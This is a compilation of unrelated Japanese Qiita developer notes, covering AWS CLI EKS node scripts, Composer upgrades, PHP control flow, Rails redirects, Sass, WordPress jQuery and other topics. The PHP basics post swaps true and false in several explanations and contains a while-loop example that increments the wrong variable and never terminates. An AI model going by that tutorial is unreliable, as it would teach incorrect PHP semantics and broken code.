OmniAICreator/Qiita-1.07M huggingface dataset:
リムーバブルディスクにディスクを挿入してください

ここでは、 「<a href="https://jp.bitwar.net/howto/windows/1083.html">usbメモリ ディスクを挿入してください</a>」というエラーメッセージを、ペンドライブ、USBフラッシュドライブ、またはメモリカードから読み取ることができます。

 5つの一般的なフォールトにより、「リムーバブルディスクにディスクを挿入してください」というエラーが発生することがあります。

 
ペンドライブ、USBフラッシュドライブ、またはメモリカードの使用中は、多くのエラープロンプトが表示されます。リムーバブルディスクにディスクを挿入してください。WindowsまたはMacシステムの一般的なエラーの1つです。実際には、5つの一般的なフォールトがこのエラーを引き起こす可能性があります：
 
1.不良なフラッシュドライブ、フラッシュドライブメーカーは、不良セクタを含む可能性のある不良品のチップを使用する可能性があります。
2.メモリカード、USBフラッシュドライブを読み書き中に取り外すなどの不適切な操作。
3.ドライブ文字の競合。他のドライブまたはパーティションには、USBドライブと同じドライブ文字があります。
4.安全モードのUSB。 USBファームウェアはコントローラによってロードされませんでした。
5.不良セクタまたは物理的な損傷。
 
「リムーバブルディスクにディスクを挿入してください」というエラーが表示されたらどうなりますか？

 

 
ドライブ文字を右クリックしてプロパティを確認すると、USBドライブに0バイトが表示されます。これは、Windowsシステムが実際のストレージ容量を検出できないことを意味します。さらに、「デバイスマネージャー」をチェックすると、USBドライブに別の名前が割り当てられました。このUSBドライブをフォーマットしようとすると、「Windowsはフォーマットを完了できませんでした」というエラーメッセージが表示されます。
 
写真、ドキュメント、ビデオ、オーディオ、アーカイブファイルなどのデータが永久に失われる可能性があることを認識するのはあまりにも悪いことです。「ディスクをリムーバブルディスクに挿入してください」というエラーを修正してチャンスを逃すことはできません。無料のディスク・データ・リカバリ・ソフトウェアを使用してデータをリカバリしてリカバ
 
「リムーバブルディスクにディスクを挿入してください」というエラーを修正するためのステップバイステップ。
 
ステップ1、デバイスのドライブ文字を変更して、 「ディスクをリムーバブルディスクに挿入してください」というエラーを修正します。

 
USBドライブがまだ接続されている間に「ディスク管理」を開きます。次に、このUSBドライブを右クリックして、「ドライブ文字とパスの変更」を選択し、ハードドライブの既存のドライブ文字と競合しないUSBドライブのドライブ文字を変更します。
 
ステップ2は、無料のディスクデータ回復ソフトウェアでデータを回復します。

 
USBドライブの新しいドライブ文字をクリックすると、再度「リムーバブルディスクにディスクを挿入してください」というエラーは表示されませんが、USBドライブのデータが消えてしまうことがあります。心配する必要はありません、無料のディスクのデータ復旧ソフトウェアは、3つのステップで失われたデータを回復するのに役立ちます。

   詳しくは、「<a href="https://jp.bitwar.net/howto/windows/1083.html">リムーバブルディスクにディスクを挿入してください</a>」をご参照ください。
C++ でメソッドチェインのメモ

C++ でメソッドをつなげてパラメータをセットするのがよくあります.

```
Person person;
person.name("bora").age(17);
```

メソッド連鎖(Method chaining)パターン 
http://yohshiy.blog.fc2.com/blog-entry-301.html

メソッドで自分自身のリファレンスを返せば実装できます.

## 実行順には注意

メソッドの呼び出し順は必ずしも決まっていません. 値を変えたりメソッド内の処理が他の変数に依存するするようなケースでは注意です!

https://stackoverflow.com/questions/37252328/c-execution-order-in-method-chaining
AWS CLIでEKSクラスタのEC2インスタンスを起動・停止するシェル

# はじめに
ローカルPCからAWS CLIを利用して、EKSクラスタのワーカーノードであるEC2インスタンスを起動・停止します。
検証環境など、コスト削減のため、利用しない時はEC2インスタンスを停止にすると思いますが、AWS CLIで変更します。

予めjqをインストールして奥必要があります。


# スクリプト
**1. EKSクラスタのワーカーノードであるEC2インスタンスを起動する**

```sh:start_cluster_nodes.sh
#!/bin/sh
   
cd `dirname $0`

CLUSTER_NAME=[クラスタ名]

AUTO_SCALING_GROUP_NAME=$(aws autoscaling describe-auto-scaling-groups --query 'AutoScalingGroups[?contains(Tags[?Key==`eks:cluster-name`].Value, `'${CLUSTER_NAME}'`)].AutoScalingGroupName' | jq -r '. | tostring' | sed -e 's/\[//' -e 's/\]//' -e 's/\"//g' )
EC2_INSTANCE_IDS=($(aws ec2 describe-instances --filter "Name=tag:eks:cluster-name,Values=${CLUSTER_NAME}" --query "Reservations[].Instances[].InstanceId" | jq -r '. | tostring' | sed -e 's/\[//' -e 's/\]//' -e 's/\"//g' -e 's/,/ /g'))

for instance_id in ${EC2_INSTANCE_IDS[@]}; do
    aws ec2 start-instances --instance-ids ${instance_id}
    aws autoscaling attach-instances --instance-ids ${instance_id} \
    --auto-scaling-group-name ${AUTO_SCALING_GROUP_NAME}
done
```

**2. EKSクラスタのワーカーノードであるEC2インスタンスを停止する**

```sh:stop_cluster_nodes.sh
#!/bin/sh

cd `dirname $0`

CLUSTER_NAME=[クラスタ名]

AUTO_SCALING_GROUP_NAME=$(aws autoscaling describe-auto-scaling-groups --query 'AutoScalingGroups[?contains(Tags[?Key==`eks:cluster-name`].Value, `'${CLUSTER_NAME}'`)].AutoScalingGroupName' | jq -r '. | tostring' | sed -e 's/\[//' -e 's/\]//' -e 's/\"//g' )
EC2_INSTANCE_IDS=($(aws ec2 describe-instances --filter "Name=tag:eks:cluster-name,Values=${CLUSTER_NAME}" --query "Reservations[].Instances[].InstanceId" | jq -r '. | tostring' | sed -e 's/\[//' -e 's/\]//' -e 's/\"//g' -e 's/,/ /g'))

for instance_id in ${EC2_INSTANCE_IDS[@]}; do
    aws autoscaling detach-instances --instance-ids ${instance_id} \
    --auto-scaling-group-name ${AUTO_SCALING_GROUP_NAME} --should-decrement-desired-capacity
    aws ec2 stop-instances --instance-ids ${instance_id}
done
```
Composer 2.0 is now available and you should upgradeというメッセージ

# compserのアップグレード

とある案件の開発のため、新規でLaravelのインストールを実行したら
compserのアップグレードを促された件。

どうやらcomposerの1系から2系に上げなさい的なメッセージが。

```Bash
You are using an outdated version of Composer. Composer 2.0 is now available and you should upgrade
訳）　古いバージョンのComposerを使用しています。 Composer 2.0が利用可能になり、アップグレードする必要があります。
```

そうですかという事で下記を実行

```Bash
composer selfupdate
```
```Bash
Updating to version 2.0.6 (stable channel).
   Downloading (100%)         
                                                                                                        
  [ErrorException]                                                                                      
  rename(/hoge/.cache/composer/composer-temp.phar,/usr/local/bin/composer): Permission denied 
```
軽くパーミッションエラーを返してくださる。
そんでこのエラーメッセージが親切そうで若干そうでもないという。
# 解決方法
```Bash
cd ~/.cache/composer
chmod 755 composer-temp.phar
sudo mv composer-temp.phar /usr/local/bin/composer
```
確認

```Bash
$ composer
   ______
  / ____/___  ____ ___  ____  ____  ________  _____
 / /   / __ \/ __ `__ \/ __ \/ __ \/ ___/ _ \/ ___/
/ /___/ /_/ / / / / / / /_/ / /_/ (__  )  __/ /
\____/\____/_/ /_/ /_/ .___/\____/____/\___/_/
                    /_/
Composer version 2.0.6 2020-11-07 11:21:17
```
なんて言いますか、composerって何気にこういう類の対応が多いよなぁ。
PHP 基本文法まとめ 後編

後編は、`if文`・`while文`・`for文`・`foreach文`の紹介をします。

##if文
```
if (条件式) {
   // 条件がfalseの場合に実行される。
} else {
  // 条件式がtrueの場合に実行される。
}

if (条件式) {
   // 条件がfalseの場合に実行される。
} elseif (条件式) {
   // 条件がfalseの場合に実行される。
}else {
   // 条件式がtrueの場合に実行される。
}

$name = '佐藤'; 　// 変数に佐藤を代入。
if ($name === '加藤') { 　// $nameに加藤が入ってる場合、「加藤です。」を表示する。

    echo '加藤です';

} elseif ($name === '成田') {

    echo '成田です';

} elseif ($name === '佐藤') {

    echo '佐藤です';

} else {

    echo '名前がありません。';

}

```

`if文` = `制御を行う構文`の一つで、条件式が真(false)の時・偽の時(true)で、
　　　　`条件を書くことでプログラムを制御する`ことができる。


##while文
```
while (条件式) {
  // 条件式がfalseである場合ずっとwhile文内の処理が繰り返し実行される。
}


$number = 0; // 変数に0を代入。
while ($number <= 100) {  // $numberが100になるまで処理を続ける。
   echo $number; 　　　　// 現在$numeberに入っている数字を表示。
   $number++;    　　// $numberに1を足す。
}　

↓

0
1
・
・
100 //0から100まで表示される。
```

`while文` = 制御構文の一つで、`条件式が偽(true)になるまで`{ } 内に書かれた`処理を繰り返し実行する`。

```
$number = 1;
while($number <= 100) {

　　　// $numberが９の時ループから抜ける。
     if ($number === 9) { 
         break;
     }
 
　　　// $numberが3で割り切れる時$numberに1を足してスキップする。
     if ($number % 3 === 0) { 
         $number++;
         continue;
     }
 
     // $numberが100になるまで、$numberを表示して、$numberに1を足す。
     echo $number . "\n";
     $count++;
}
```

`while`と一緒によく使われる構文で、`break`と`continue`があります。
`break` = `ループ処理から抜ける、強制的に終了する`。
`continue` = `条件判定が真(false)の時に処理をスキップする`。

##for文
```
for (初期化式; 条件式; 反復式) {
    // 処理内容
}
 
$name = array(
  　'佐藤', '加藤', '鈴木', '成田', '渡辺'
);

// $iが5になるまで$nameを表示。(5人分の名前が表示される。)
for ($i = 0; $i < 5; $i++) {
     echo $name[$i];
}

```

`for` = `反復処理を行う`のに便利な構文で、`初期化式・条件式・反復式`がある。
①初期化式を実行。
②条件式が`真(false)であれば処理を実行`。
　　　　　`偽(true)であれば処理を実行せず、forの動作は終了`です。
③中の処理を実行し、反復式を実行します。
④②からを繰り返す。

##foreach文
```
foreach (配列 or オブジェクト as 要素) {
   // 処理内容
}
 
$name = array(
    '佐藤', '加藤', '鈴木', '成田', '渡辺'
);
 
foreach ($name as $row) {　// $nameの中身を順番に$rowに入れて表示。
     echo $row; // 5人の名前が表示される。
}
 
```

`foreach` = `配列やオブジェクトを反復処理する`のに便利な構文。
　　　　　　 for文とは違い、反復回数は制限せずに、`配列の中身全てに処理を実行する`。


参考元はこちら
（https://creive.me/archives/8719/#PHP）
R言語で湯婆婆を実装する

# はじめに

@Nemesis さんの[Javaで湯婆婆を実装してみる](https://qiita.com/Nemesis/items/c7192a7c510788d2cba2)という記事から話題になっている湯婆婆の実装をやってみたくなりました。自分が書ける言語でまだ実装されてなさそうな言語ないかなぁと探してみたところ、R言語による実装の記事はまだ出ていなさそう(もし出している方いたらすみません、私の調査不足です。)でしたので、やってみました。

# コード
```r
print("契約書だよ。そこに名前を書きな。")
name <- readline("名前: ")
print(paste("フン。", name, "というのかい。贅沢な名だねぇ。"))
rand = sample(1:nchar(name), 1)
newName = substring(name, rand, rand)
print(paste("今からお前の名前は", newName, "だ。いいかい、", newName, "だよ。分かったら返事をするんだ、", newName, "!!"))
```

# コードの解説

## 契約書を渡す
```r
print("契約書だよ。そこに名前を書きな。")
```
print関数を使うと出力ができます。

## 名前の入力
```r
name <- readline("名前: ")
```
readline関数を使うと入力を行えます。入力で受け取った名前をnameという関数に入れます。

## 名前の確認
```r
print(paste("フン。", name, "というのかい。贅沢な名だねぇ。"))
```
Rではpaste関数を使って文字列の結合ができます。

## 新しい名前を決める
```r
rand = sample(1:nchar(name), 1)
newName = substring(name, rand, rand)
```
nchar関数を使うと文字列の長さを取得できます。
n:mとやるとnからmまで交差が1の等差数列を得ることができます。
sample(ベクトル, m)でベクトルから長さmの部分ベクトルが得られます。

substring(文字列, begin, last)で文字列からbegin番目からlast番目を部分文字列として取り出せます。今回はsubstring(name, rand, rand)でrand番目だけを取り出しています。

## 新しい名前を伝える
```r
print(paste("今からお前の名前は", newName, "だ。いいかい、", newName, "だよ。分かったら返事をするんだ、", newName, "!!"))
```
名前の確認のところと大体同じです。

# まとめ
湯婆婆をR言語を使って実装しました。知らなかった関数や忘れていた関数を思い出せる非常に良い試みでした。

# 参考

### 入力について 
R-Tips 36.落穂ひろい http://cse.naro.affrc.go.jp/takezawa/r-tips/r/36.html

### 文字列操作関係
R-tips 17.文字列を操作する http://cse.naro.affrc.go.jp/takezawa/r-tips/r/17.html
hiratake55 の作業メモ R で文字列の長さを調べる http://hiratake55.hatenadiary.jp/entry/2016/08/31/R_で文字列の長さを調べる
### 乱数生成関係
竹中明夫 おまけ：さまざまなデータ列の生成 http://takenaka-akio.org/doc/r_auto/series.html
R-tips 60.確率分布と乱数 http://cse.naro.affrc.go.jp/takezawa/r-tips/r/60.html
【Ruby On Rails】createアクションとdestroyアクションにおいて、redirect_to action: :showができない（使えない）場合の緊急対策

備忘録です。
閲覧いただきありがとうございます。
走り書きのため、説明や記述に間違いなどあればご指摘お願いいたします。

#背景
redirect_toで、action: :アクション名を指定してあげることで、そのコントローラー内のアクションを呼び出し実行することができることを学びました。

その学びを生かして、updateされた場合（つまり、編集が更新された場合）はredirect_to action: :showと記述することでshowアクションをリダイレクトすることができました。

```ruby
  def update
    if @hoge.update(hoge_params)
      redirect_to action: :show
    else
      render :edit
    end
  end
```

#問題点
しかし、createとdestroyアクションで、redirect_to action: :show ではエラーが出てしまいました。

```ruby
  def create
    @hoge = Hoge.new(hoge_params)
    if @hoge.save
      redirect_to action: :show
    else
      render :new
    end
  end

（中略）

  def destroy
    if @hoge.destroy
      redirect_to action: :show
    else
      render :show
    end
  end
```
エラー文

```terminal
ActionController::UrlGenerationError in HogesController#create
No route matches {:action=>"show", :controller=>"hoges"}
```

#対策
rails routesでルーティングを検索し、Prefixのパスを記述し、必要であればkeyを渡してあげました。

```ruby
  def create
    @hoge = Hoge.new(hoge_params)
    if @hoge.save
      redirect_to hoge_path(current_user.id)
    else
      render :new
    end
  end

（中略）

  def destroy
    if @hoge.destroy
      redirect_to hoge_path(current_user.id)
    else
      render :show
    end
  end
```

この様にすることで、createアクションで新規作成を行った場合や、destroyアクションで削除を行った後に、showと同じ画面へ遷移できました。

#####※以上の対策はあくまで緊急回避策であると考えています。（私が学習不足のため）

#今後学習すべきこと
なぜ・何が原因で action: :showでリダイレクトできなかったのか、処理の流れを把握できる様にしていくこと。
UbuntuのDockerコンテナでファイル内容をコピペ

今使っているDockerコンテナでファイル内容をコピペしようとしたときのことです。

Macだと`pbcopy`でファイル内容のコピペができます。

```
$ pbcopy < helloworld.txt
// pbcopy < コピーしたいファイル
```

Ubuntuだと`xsel`を使うといいです。

```
$ apt-get -y install xsel
$ xsel -b < helloworld.cpp 
// xsel -b < コピーしたいファイル
```
CSS(Sass)色々実装メモ

Sassの個人学習用備忘録です。復習したい箇所を中心に記述しているので端折っている部分もございます故。

# 目次
- # カードの裏表のデザイン実装
- 形状変化
- ちょうどいいbox-shadowとborder-radiusの値

# カードの裏表のデザイン実装
`transform:rotateY(180deg)`でくるっと回したとき、表と裏で異なるデザインやコンテンツを載せたい。
![スクリーンショット 2020-11-12 14.19.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/825124/547acc7a-6d95-f73a-4947-6e4acb3b7682.png)

↓hover

![スクリーンショット 2020-11-12 14.19.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/825124/d479dae0-125b-7588-2dfb-7ad9c3e0c0c5.png)

# 構造
1. html:`card__side--front(表面用)`と`card__side--back（裏面用）`の２つのエレメントを置く。
2. sass:`card__side`セレクタ(２つのエレメントの共通セレクタ)で`positionで高さと幅を100%でぴったりにしておく`。これで`card`ブロック内に２つのレイヤーが完成。
3. sass:`card__side--front(表面用)`と`card__side--back（裏面用）`に背景色を設定。
4. sass:`card__side--back（裏面用）`は初めから`transform: rotateY(180deg);`で反転させておく(後ろ向いててね)。
5. sass:`card__side`セレクタに`backface-visibility: hidden;`を設定し、裏返しコンテンツが透けて見えないようにする。
6. sass:現在こちらを向いている``card__side--front(表面用)`だけ、`hover`を使い`transform: rotateY(180deg);`反転させる。

## html

```html
<!-- 1 -->
<div class="card">
     <div class="card__side card__side--front">FRONT</div>
     <div class="card__side card__side--back">BACK</div>                       
</div>
```

## Sass
```sass
   //COLOR変数
   $color-secondary-light: #ffb900;
   $color-secondary-dark: #ff7730;
　　$color-white: #fff;

.card{ 
    background-color: $color-white;
    height: 50rem;
    border-radius: 3px;
    box-shadow: 0 1.5rem 4rem rgba($color-black, .15);
    perspective: 150rem;
    -moz-perspective: 150rem;
    position: relative;
    
    &__side{
        // 2
        position: absolute;
        top:0;
        left:0;
        height: 100%;
        width: 100%; 
         // 4
        backface-visibility: hidden;
        transition: all .8s ease;

         // 3      
        &--front{
            background-color: $color-white;
        }
        
        &--back{
            transform: rotateY(180deg);
            background-image: linear-gradient(to right bottom,
            $color-secondary-light,
            $color-secondary-dark);   
        }        
    } 
    
    // 5
    &:hover &__side--front{
        transform: rotateY(180deg);
    }
    &:hover &__side--back{
        transform: rotateY(0);
    } 
}
```
# 形状変化
Photoshopを使わず、コンテンツや写真を丸や星形にしたい。

```sass
clip-path:xxx;
-webkit-clip-path:xxx;
```
[このサイト](https://bennettfeely.com/clippy/)で図形を選択肢してコードのコピペでOK。
切り取られた要素部分はクリックや`hover`対象でもなくなるので便利。

![スクリーンショット 2020-11-13 13.23.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/825124/0df1e842-f982-91f1-76b2-3e24a895ff2c.png)

# ちょうどいいbox-shadowとborder-radiusの値
```sass
box-shadow: 0 1.5rem 4rem rgba(0,0,0,.15);
border-radius: 3px;
```
![スクリーンショット 2020-11-13 13.28.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/825124/78b9162c-7430-fdb9-fc7a-ac28d9e20780.png)
Composite Pattern

#
<font color="#00f">再帰的にメソッドを呼び出す<br>Composite Patternは木構造を表現できる<br>（木構造になるのならCompositeを検討できる）</font>

[Design Pattarm MENU](https://qiita.com/old_cat/items/852d980bedb9100dd7e3)

以下のクラス構成で確認します

|クラス|説明|
|-----|----|
|interface<br>face|異なるオブジェクトをface型で扱う|
|sam.class|faceを実装する|
|samList.class|faceを実装する<br>Listを保持し、再帰呼出しする|
|user(Main.class)|動作を確認する|

＊user　他の開発者がこのパターンを利用する、という意味合いを含みます

下記にサンプルコードを記載します

```java:interface_face
interface face{void print();}
```
```java:sam.class
class sam implements face{
      public void print(){
      System.out.println("."+this);
}}
```
```java:samList.class
class samList implements face{
      List   list = new ArrayList();
      void   add(face fc){list.add(fc);}
      public void print(){
             Iterator it = list.iterator();
             while(it.hasNext()){
                   face fit = (face) it.next();
                   System.out.print("/"+fit);
                   fit.print(); // fitが sam型 なら sam.class のprint()が呼ばれ、こちらは再帰しません
                                // fitが samList型 なら samListのprint()が再帰的に呼び出されます
             }
      }
}
```
```java:user(Main.class)
public static void main(String[] args){
  samList  sam1 = new samList();
  samList  sam2 = new samList();
  samList  sam3 = new samList();
  sam2.add(new  samList());
  sam2.add(new  sam());
  sam3.add(new  samList());
  sam3.add(new  sam());
  sam1.add(sam2);
  sam1.add(sam3);
  sam1.print();
}}
簡単にエビデンスのための画面キャプチャをとる方法

# 前置き
テストや運用において、エビデンスとして画面キャプチャをとることがあると思います。
いまだに PrintScreen から Excel に貼り付けたりしていませんか？
Excel が重たくなって、開くのに時間がかかって、Excel が壊れて、、、最悪ですよね。
シンプルに画像ファイルとして保管しようということでフリーのツールの使い方を説明します。

# ツールについて
- ツール名：きゃぷつれ
- 動作OS：Windows 8/7/Vista/XP（とありますが Windows 10 でも動きました）

# インストール手順
## (1)ダウンロード
vector のサイトから zip をダウンロードします。
https://www.vector.co.jp/soft/winnt/art/se504736.html

## (2)zipを展開し、きゃぷつれ起動
任意のディレクトリに zip を展開します
展開したフォルダ内の `Kyaputure.exe` を実行して起動します。
Windows の警告が出る場合がありますが、`詳細情報` -> `実行` の順にクリックすればOKです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/200478/0102b627-1693-7096-cf05-73fb5d431b6b.png)
きゃぷつれの設定ウィンドウが開き、システムトレイにきゃぷつれのアイコンが表示されればOK。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/200478/3104dbb6-8f50-d4c6-9586-4d399780da28.png)

## (3)各種設定
私は保存先を変えたくらいで、あとはデフォルトのままです。
OKを押して設定内容を保存します。（アプリはシステムトレイに常駐しており、終了していません）

## (4)スタートアップに登録
スタートアップに登録して、Windows 起動時にきゃぷつれも起動するようにしておきます。
エクスプローラーのアドレスバーに `shell:startup` と入力して Enter。
その中に先程インストールした `Kyaputure.exe` のショートカットを保存します。

# ツールの使い方
メチャクチャ簡単です。
いつもと同じように `PrintScreen` もしくは `Alt + PrintScreen` を押してください。
先程設定したフォルダに画面キャプチャした画像ファイルが保存されているはずです。
ちなみにこれまで通りクリップボードにもセットされています。

# Windows 10 の標準機能でよいのでは！？
Windows 10 から、Windows キーを組み合わせることでスクリーンショットをファイル保存できるようになりました。
しかし、ファイル名が `スクリーンショット(1).png` `スクリーンショット(2).png` といったファイル名になっています。（Alt + PrintScreen のファイル名はもっと複雑）
きゃぷつれは、キャプチャした日時をファイル名としてくれます。（例）`20201112-140503.png`
テストや運用作業のエビデンスという目的からすると、いつ作業したものなのかがファイル名で分かりますし、必ず作業した順にソートされますので非常に便利です。

# 最後に
意外と面倒な画面キャプチャ。
これがあればキャプチャに邪魔されることなく、どんどん作業を進めることができます。
お役に立てれば幸いです。
「増分」データ(Excel)をServiceNowのテーブルへインポートしてみる

#はじめに
前回、ExcelのデータをServiceNowのテーブルにインポートする方法を紹介しました。
同様の操作をしたい方は前回の記事を参考にしてください。記事は[【こちら】](https://qiita.com/saito_now/items/a40387799489a1ce8787)からどうぞ。

今回は増分データをアップデートしていこうと思います。

#検証　～準備編～
##現状の確認
開発インスタンスでfruitsアプリケーションを作成しました。
List fruitsモジュールをクリックし、frutisテーブルを確認しています。
7レコードあります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440776/e0c10f13-3ba0-aff2-d3e2-178c4bee1927.png)

##検証用のデータソース(Excel)の作成
外部データとなるファイルを作成していきます。前回のファイルに3行追加しました。(9-11行目)
ファイル名は、fruits-data-updates.xlsxにしました。
↓ 出来上がりのイメージ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440776/c38dcda4-b34c-21ae-f7ea-b9d0715c620e.png)

9行目におかしなレコードがありますが、今は気にしないでください。

#検証　～インポート編～
外部データソースをインポートセットテーブルへアップロードしていきます。

System Administratorで
System Import Sets→Load Dataをクリックします。

前回作成したインポートセットテーブルを使用していきます。
Existing tableに変更し、その下のプルダウンから「fruits Imports [u_fruits_imports]」を選択します。
[ファイルを選択]ボタンから先程用意したfruits-data-updates.xlsxを指定します。
最後にSubmitボタンをクリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440776/7a0cf1be-30a1-9102-e660-411a75c65bfc.png)

10レコード挿入されたことがわかります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440776/9e5454b8-2eef-626e-9cdb-5371cae52a55.png)

##結合フィールドの定義
[前回の補足](https://qiita.com/saito_now/items/a40387799489a1ce8787#%E8%A3%9C%E8%B6%B3)でも紹介したとおり、レコードの重複をしないように、結合フィールドの定義をしておきましょう。

System Import Sets→Administration→Transform Mapsをクリックし、変換マップを開きます。
Listから、「Fruits Assets」のフォームを出します。
フォーム下部にField Mapsがありますので、u_idのCoalesceの値をTrueに修正します。
(ダブルクリックすると値が変更できます。)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440776/aac1b15a-631a-6f81-acc0-152c12a368af.png)

フォームコンテキストメニュー→saveをクリックします。

Related Links内のTransformをクリックします。
Selected mapsで、Fruits Assetsが選択されていることを確認して、Transformをクリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440776/97e14fff-70be-fca2-c418-803b66fdf27b.png)

Transformation complete のメッセージがでたら、最後にListの確認をします。

#検証　～確認編～
フィルターナビゲータで「fruits」で検索します。
List Fruitsモジュールをクリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440776/da637d6f-e165-f270-dff0-05aa2bf61e69.png)

確認すると7レコードから8レコードになっていますね。
[データソース(Excel)](https://qiita.com/drafts/b29c8f26eaf192919e8d/edit#%E6%A4%9C%E8%A8%BC%E7%94%A8%E3%81%AE%E3%83%87%E3%83%BC%E3%82%BF%E3%82%BD%E3%83%BC%E3%82%B9excel%E3%81%AE%E4%BD%9C%E6%88%90)内には10レコードありましたが、結合フィールドを有効にしたことでid=1のfruits名は***apple***から***pineapple***上書きされました。

さらに、Excelの9行目には、idが***hoge***となっていた行が挿入されていないことも確認できます。
fruitsテーブルのid列はintegerに設定していたため、型定義で弾かれたということが分かります。

#まとめ
増分データのインポートでは、「どの列をユニークとするのか」「結合フィールドの有無」などを確認しておくと良さそうですね。
自分用メモ: x86プロセッサの動作モード

https://os.phil-opp.com/ja/minimal-rust-kernel/#biosnoqi-dong

x86プロセッサの起動は16ビットモードのリアルモードから始まる
リアルモードはメモリ保護等のセキュリティが働かないらしい.
それらセキュリティを働かせるのが32ビットのプロテクトモード.(メモリを保護するからプロテクトぽい. リアルモードはメモリを好きに触れるので、リアルモードぽい
ブートローダーは64ビットのロングモードまで引き上げ、kernelを起動する所までの役割を基本的に持つ
WordpressでjQueryを使って[波の動き]を導入する

今回参考にしたサイト
https://liginc.co.jp/317994

https://incloop.com/%E6%B0%B4%E3%81%A3%E3%81%BD%E3%81%84%E3%81%B5%E3%82%88%E3%81%B5%E3%82%88%E3%81%97%E3%81%9F%E6%B3%A2%E7%B4%8B%E3%82%92%E5%AE%9F%E8%A3%85%E3%81%99%E3%82%8B/


まず準備する段階で上の2つ目のURLの「ソースコードを設置する」の手前まで参考にしました
jQueryのサイトからjQueryをダウンロードする
https://jquery.com/download/
![jq-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/870132/729f5fa4-d2fa-2ca5-9c2f-1efda405c20d.png)
この記事の作成段階ではjQuery_3.5.1のバージョンでした

https://jqueryui.com/
jQueryUIは同じバージョンでした

http://daniellaharel.com/raindrops/
上のURLからGithubにアクセスしzipでダウンロード

解凍したらraindrops.js内のコードの
`$.widget(...`は
`jQuery.widget(...`に書き直してください



FTPを使い今使っている親テーマの中のjsフォルダに
・raindrops.js
・jquery-ui.js
・jquery-3.5.1.min.js
を入れます



※私はstingerplus2というテーマを使っているのでテーマ内のjsフォルダに入れます
![jq-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/870132/5d66385d-c621-6945-ff50-80665803a11c.png)

完了したら
Wordpressにログインし、テーマの編集「functions.php」の ?> より前に以下を記入します

`// JavaScriptの読み込み
function my_enqueue_script() {
	wp_enqueue_script('jquery-3.5.1.min', get_template_directory_uri().'/js/jquery-3.5.1.min.js', array(), '3.5.1', true);
	wp_enqueue_script('jquery-ui', get_template_directory_uri().'/js/jquery-ui.js', array(), '1.12.1', true);
	wp_enqueue_script('raindrops', get_template_directory_uri().'/js/raindrops.js', array(), '', true);
}
add_action('wp_enqueue_scripts','my_enqueue_script');
`
数字の'3.5.1',や'1.12.1'はダウンロードしたjQueryのバージョンに合わせてください
パーマリンクの更新も忘れずに

今回は画面の下部分に表示させたかったので[footer.php]の`</body>`の前に以下を記入しました

`<div class="puyopuyo" style="height:100px;"></div>
<script>
<!--
;(function($) {
  $(function(){
    let $puyopuyo= $('.puyopuyo');
    $puyopuyo.raindrops({
      color: '#87CEEB', // 色
      waveHeight: 80,    // 沈み込む高さ？
      waveLength: 100,    // 横幅？ 
		canvasHeight:100, // 表示領域の高さ
		rippleSpeed: 0.02, // 縦方向の波が揺れる速度？
		frequency: 2, // 波紋が生まれる頻度
		density: 0  // 波の余韻みたいなものを設定する値
    });
  });
})(jQuery);
//-->
</script>`


私はこれで表示されました
透過させるときはカスタマイズのcssで上のclassに対してopacityを書いてください
【MacOS】aws-sam-cliをインストールする。

# 前提
* MacOS
* pipコマンドを利用できる。
* brewコマンドを利用できる。

## `aws-sam-cli`をインストールする。
`pip install aws-sam-cli`
`brew tap aws/tap`
`brew install aws-sam-cli`

## `aws-sam-cli`をUpgradeする。
`brew upgrade aws/tap/aws-sam-cli`
【JS】変数と関数の使い分け。関数で依存関係をなくし上書きを防ぐ方法

変数と関数の使い分けについて。同様の処理を返すのに、なぜ、変数ではなく関数を使うのかわからない場面があったので理解用のメモ。


##どういう場合か？

```js:変数
obj = {a:1, b:2}
```

```js:関数
obj = () => {return {a:1, b:2}}
```

上記はどちらも`{a:1, b:2}`を返すが、それぞれで明確な違いがある。


##関数を使う理由

変数ではなく関数を使う理由は、

・作成したオブジェクトが各々、**固有になる**。
・変数だとどれも同じになってしまい、一つの要素を変更するとイコールで結ばれる要素が全て変更されてしまうため。

なので、**依存関係にしたくない場合は関数を使う**。


<br>
####実例で見るとわかりやすい

**▼変数の場合**

```js:変数の場合
obj = {a:1, b:2}

x = obj  //{a: 1, b: 2}
y = obj  //{a: 1, b: 2}

x == y
//true
```

変数で宣言した値を、新たな変数x, yに代入すると、xとyは完全に同じになる。

つまり、依存関係となる。

この状態でxを変更すると、yも連動して変更される。

<br>

**▼関数の場合**

```js:関数の場合
obj = () => {return {a:1, b:2}}

x = obj()   //{a: 1, b: 2}
y = obj()   //{a: 1, b: 2}

x == y
//false
```

関数で作成した値を、x, yに代入すると、xとyはイコールにならない。

つまり、依存関係にならない。

この状態でxを変更しても、yは変更されない。


<br>
見た目が類似するので混乱したが、とても重要な概念。
MacOSでAWS CLIをupgradeする。

* MacOS 
* AWS CLI 2


```
curl "https://awscli.amazonaws.com/AWSCLIV2.pkg" -o "AWSCLIV2.pkg"
sudo installer -pkg AWSCLIV2.pkg -target /
```

公式：https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2-mac.html#cliv2-mac-install-cmd
Material UIの@material-ui/pickersで少しハマったので自分用に解決策を残しておく


@material-ui/pickersを使う手順
<br>
1インストールする

````

npm i @material-ui/pickers

or

yarn add @material-ui/pickers
````

<br>
以下Documentより
Important: For material-ui-pickers v3 use v1.x version of @date-io adapters.
⇨material-ui-pickers　v3の場合は、v1.xバージョンの@ date-ioアダプターを使用してください。
とのことです。

<br>
1インストールする

````

npm i @date-io/date-fns@1.x date-fns
// or
npm i @date-io/moment@1.x moment
// or
npm i -s @date-io/luxon@1.x luxon
// or
